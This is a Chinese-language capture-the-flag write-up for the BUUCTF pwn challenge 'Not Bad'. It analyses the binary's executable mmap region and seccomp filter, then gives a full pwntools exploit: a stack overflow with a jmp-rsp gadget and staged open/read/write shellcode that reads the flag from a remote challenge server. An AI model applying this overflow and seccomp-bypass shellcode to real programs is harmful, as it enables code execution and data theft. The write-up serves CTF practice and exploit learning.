[BUUCTF]-PWN:[极客大挑战 2019]Not Bad解析

保护

[BUUCTF]-PWN:[极客大挑战 2019]Not Bad解析_第1张图片

ida

[BUUCTF]-PWN:[极客大挑战 2019]Not Bad解析_第2张图片

这里使用mmap函数创造了一个内存映射区域

从地址0x123000开始,大小位0x1000

权限为可写可执行(可读0x1,可写0x2,可执行0x3)

设置为私有映射(MAP_PRIVATE)和匿名映射(MAP_ANONYMOUS

常见的标志的值:

  • MAP_SHARED:1
  • MAP_PRIVATE:2
  • MAP_ANONYMOUS:0x20 (32)
  • MAP_FIXED:0x10 (16)
  • MAP_LOCKED:0x2000 (8192)
  • MAP_NORESERVE:0x4000 (16384)

将要映射的文件描述符设为-1,表示不关联任何文件

剩下的0指的就是偏移量了,没有偏移

[BUUCTF]-PWN:[极客大挑战 2019]Not Bad解析_第3张图片

这里首先初始化将所有系统调用禁用,并且后面使用seccomp_rule_add函数添加了可使用的系统调用。

根据64位系统调用号,分别是:

read:系统调用号为0

write:系统调用号为1

open:系统调用号为2

exit:系统调用号为60

因此系统调用exceve就没法用了。

解题思路:

我尝试在栈上构造shellcode,但是始终因为字节大小稍微大一点没法进行。所以只能将shellcode写入mmap所创建的空间中了,正好此空间可写可执行。

完整exp:

from pwn import*
context(log_level='debug',arch='amd64')
#p=process('./bad')
p=remote('node5.buuoj.cn',26264)
jmprsp=0x400A01
mmap=0x123000

readmmap=asm(shellcraft.read(0,mmap,100))
callmmap=asm('''
mov rax,0x123000
call rax
''')
moversp=asm('''
sub rsp,0x30
call rsp
''')
payload=readmmap+callmmap
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmprsp)+moversp
p.sendlineafter(b'have fun!',payload)

opens=asm(shellcraft.open('./flag'))
reads=asm(shellcraft.read(3,mmap,100))
writes=asm(shellcraft.write(1,mmap,100))
payload=opens+reads+writes
p.sendline(payload)

p.interactive()

这里来解释一下部分exp

补充点1:reads=asm(shellcraft.read(3,mmap,100))这里为什么填3而不是0?

答:这个是文件描述符的知识点,在linux中系统会默认设置0,1,2三个文件描述符,而这三个文件描述符代表的分别是标准输入(就是我们从显示器输入的),标准输出,标准错误输出。在我们没有关闭任何一个文件描述符时,我们再打开一个文件,那就会使文件描述符3指向那个文件,以此类推。这里我们打开了flag,所以flag的文件描述符为3。当然为了省事,也可以写成reads=asm(shellcraft.read('rax',mmap,100))

补充点2:在写汇编代码时记得使用context标注系统位,比如64位。

补充点3:opens=asm(shellcraft.open('./flag'))在远程中要写./flag而不是仅仅flag而已。

你可能感兴趣的:(PWN,前端,安全,网络安全)